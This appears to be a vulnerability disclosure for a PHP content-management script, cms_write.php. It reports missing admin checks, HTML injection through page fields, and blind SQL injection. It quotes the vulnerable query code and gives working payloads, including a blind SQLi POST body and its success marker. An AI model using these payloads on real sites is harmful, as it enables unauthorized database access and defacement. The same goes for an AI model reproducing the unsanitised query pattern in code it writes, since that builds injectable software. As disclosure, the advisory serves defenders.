[Vulnerability 1]

# Unauthorized Access

Url: http://[site]/[cmspath]/cms_write.php

In cms_write.php is no check if the user has administration rights.
Because of that, there are 2 more vulnerabilities.



[Vulnerability 2]

# Html Injection

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-25): 

$title=$_POST[title];
$content=$_POST[content];
$menutitle=$_POST[menutitle];
$sql="INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES ('', '$title', '$content', '$menutitle')";
mysql_query($sql);


The title, Menu-title  and Content a user can submit are inserted directly into
the database and inserted in the html-code on the page without
and sanitizing at all.

Example for the Title: </title><h1>Testtitle</h1>
Example for the Menu-Title: </a><h2>Menutitle</h2>


[Vulnerability 3]

# Blind SQL-Injection // PoC

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-16):

$title=$_POST[title];
$menutitle=$_POST[menutitle];
$sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' ";

Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK
One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei"
